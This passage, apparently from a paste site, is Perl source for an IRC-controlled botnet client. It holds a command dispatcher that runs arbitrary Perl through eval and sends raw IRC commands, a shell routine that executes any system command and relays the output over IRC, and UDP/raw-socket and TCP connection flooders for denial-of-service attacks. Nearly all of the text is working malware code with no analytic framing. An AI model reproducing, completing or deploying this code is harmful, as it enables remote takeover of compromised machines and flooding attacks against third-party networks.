  601. sendraw($IRC_cur_socket, "NOTICE ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...");
  602. }
  603. }
  604. ##############
  605.  
  606. ##############
  607. sub ircase {
  608. my ($kem, $printl, $case) = @_;
  609. if ($case =~ /^join (.*)/) {
  610. j("$1");
  611. }
  612. elsif ($case =~ /^part (.*)/) {
  613. p("$1");
  614. }
  615. elsif ($case =~ /^rejoin\s+(.*)/) {
  616. my $chan = $1;
  617. if ($chan =~ /^(\d+) (.*)/) {
  618. for (my $ca = 1; $ca <= $1; $ca++ ) {
  619. p("$2");
  620. j("$2");
  621. }
  622. } else {
  623. p("$chan");
  624. j("$chan");
  625. }
  626. }
  627. elsif ($case =~ /^op/) {
  628. op("$printl", "$kem") if $case eq "op";
  629. my $oarg = substr($case, 3);
  630. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  631. }
  632. elsif ($case =~ /^deop/) {
  633. deop("$printl", "$kem") if $case eq "deop";
  634. my $oarg = substr($case, 5);
  635. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  636. }
  637. elsif ($case =~ /^voice/) {
  638. voice("$printl", "$kem") if $case eq "voice";
  639. $oarg = substr($case, 6);
  640. voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  641. }
  642. elsif ($case =~ /^devoice/) {
  643. devoice("$printl", "$kem") if $case eq "devoice";
  644. $oarg = substr($case, 8);
  645. devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  646. }
  647. elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  648. msg("$1", "$2");
  649. }
  650. elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  651. for (my $cf = 1; $cf <= $1; $cf++) {
  652. msg("$2", "$3");
  653. }
  654. }
  655. elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  656. ctcp("$1", "$2");
  657. }
  658. elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  659. for (my $cf = 1; $cf <= $1; $cf++) {
  660. ctcp("$2", "$3");
  661. }
  662. }
  663. elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  664. invite("$1", "$2");
  665. }
  666. elsif ($case =~ /^newerver\s+(\S+)\s+(\S+)/) {
  667. conectar("$2", "$1", "6667");
  668. }
  669. elsif ($case =~ /^nick (.*)/) {
  670. nick("$1");
  671. }
  672. elsif ($case =~ /^raw (.*)/) {
  673. sendraw("$1");
  674. }
  675. elsif ($case =~ /^eval (.*)/) {
  676. eval "$1";
  677. }
  678. elsif ($case =~ /^join\s+(\S+)\s+(\d+)/) {
  679. sleep int(rand($2));
  680. j("$1");
  681. }
  682. elsif ($case =~ /^part\s+(\S+)\s+(\d+)/) {
  683. sleep int(rand($2));
  684. p("$1");
  685. }
  686. elsif ($case =~ /^quit/) {
  687. quit();
  688. }
  689. }
  690. ##############
  691. sub shell {
  692. my $printl=$_[0];
  693. my $comando=$_[1];
  694. if ($comando =~ /cd (.*)/) {
  695. chdir("$1") || msg("$printl", "No such file or directory");
  696. return;
  697. } elsif ($pid = fork) {
  698. waitpid($pid, 0);
  699. } else {
  700. if (fork) {
  701. exit;
  702. } else {
  703. my @resp=`$comando 2>&1 3>&1`;
  704. my $c=0;
  705. foreach my $linha (@resp) {
  706. $c++;
  707. chop $linha;
  708. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  709. if ($c == "$linas_max") {
  710. $c=0;
  711. sleep $sleep;
  712. }
  713. }
  714. exit;
  715. }
  716. }
  717. }
  718. ##############
  719. sub udpflooder {
  720. my $iaddr = inet_aton($_[0]);
  721. my $msg = 'A' x $_[1];
  722. my $ftime = $_[2];
  723. my $cp = 0;
  724. my (%pacotes);
  725. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  726. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  727. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  728. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  729. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  730. return(undef) if $cp == 4;
  731. my $itime = time;
  732. my ($cur_time);
  733. while ( 1 ) {
  734. for (my $port = 1;
  735. $port <= 65000; $port++) {
  736. $cur_time = time - $itime;
  737. last if $cur_time >= $ftime;
  738. send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++;
  739. send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++;
  740. send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++;
  741. send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++;
  742. for (my $pc = 3;
  743. $pc <= 255;$pc++) {
  744. next if $pc == 6;
  745. $cur_time = time - $itime;
  746. last if $cur_time >= $ftime;
  747. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  748. send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++;
  749. }
  750. }
  751. last if $cur_time >= $ftime;
  752. }
  753. return($cur_time, %pacotes);
  754. }
  755. ##############
  756. sub tcpflooder {
  757. my $itime = time;
  758. my ($cur_time);
  759. my ($ia,$pa,$proto,$j,$l,$t);
  760. $ia=inet_aton($_[0]);
  761. $pa=sockaddr_in($_[1],$ia);
  762. $ftime=$_[2];
  763. $proto=getprotobyname('tcp');
  764. $j=0;$l=0;
  765. $cur_time = time - $itime;
  766. while ($l<1000){
  767. $cur_time = time - $itime;
  768. last if $cur_time >= $ftime;
  769. $t="SOCK$l";
  770. socket($t,PF_INET,SOCK_STREAM,$proto);
  771. connect($t,$pa)||$j--;
  772. $j++;$l++;
  773. }
  774. $l=0;
  775. while ($l<1000){
  776. $cur_time = time - $itime;
  777. last if $cur_time >= $ftime;
  778. $t="SOCK$l";
  779. shutdown($t,2);
  780. $l++;
  781. }
  782. }
  783. ##############
  784. sub msg {
  785. return unless $#_ == 1;
  786. sendraw("PRIVMSG $_[0] :$_[1]");
  787. }
  788. sub ctcp {
  789. return unless $#_ == 1;
  790. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  791. }
  792. sub notice {
  793. return unless $#_ == 1;
  794. sendraw("NOTICE $_[0] :$_[1]");
  795. }
  796. sub op {
  797. return unless $#_ == 1;
  798. sendraw("MODE $_[0] +o $_[1]");
  799. }
  800. sub deop {
  801. return unless $#_ == 1;
  802. sendraw("MODE $_[0] -o $_[1]");
  803. }
  804. sub voice {
  805. return unless $#_ == 1;
  806. sendraw("MODE $_[0] +v $_[1]");
  807. }
  808. sub devoice {
  809. return unless $#_ == 1;
  810. sendraw("MODE $_[0] -v $_[1]");
  811. }
  812. sub j { &join(@_); }
  813. sub join {
  814. return unless $#_ == 0;
  815. sendraw("JOIN $_[0]");
  816. }
  817. sub p { part(@_); }
  818. sub part {sendraw("PART $_[0]");}
  819. sub nick {
  820. return unless $#_ == 0;
  821. sendraw("NICK $_[0]");
  822. }
  823. sub quit {
  824. sendraw("QUIT :$_[0]");
  825. exit;
  826. }
  827. sub modo {
  828. return unless $#_ == 0;
  829. sendraw("MODE $_[0] $_[1]");
  830. }
  831. sub mode { modo(@_); }
  832.  
  833. sub invite {
  834. return unless $#_ == 1;
  835. sendraw("INVITE $_[1] $_[0]");
  836. }
  837.  
  838. sub topico {
  839. return unless $#_ == 1;
  840. sendraw("TOPIC $_[0] $_[1]");
  841. }
  842. sub topic { topico(@_); }
  843.  
  844. sub away {
  845. sendraw("AWAY $_[0]");
  846. }
  847. sub back { away(); }
  848.  
  849. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement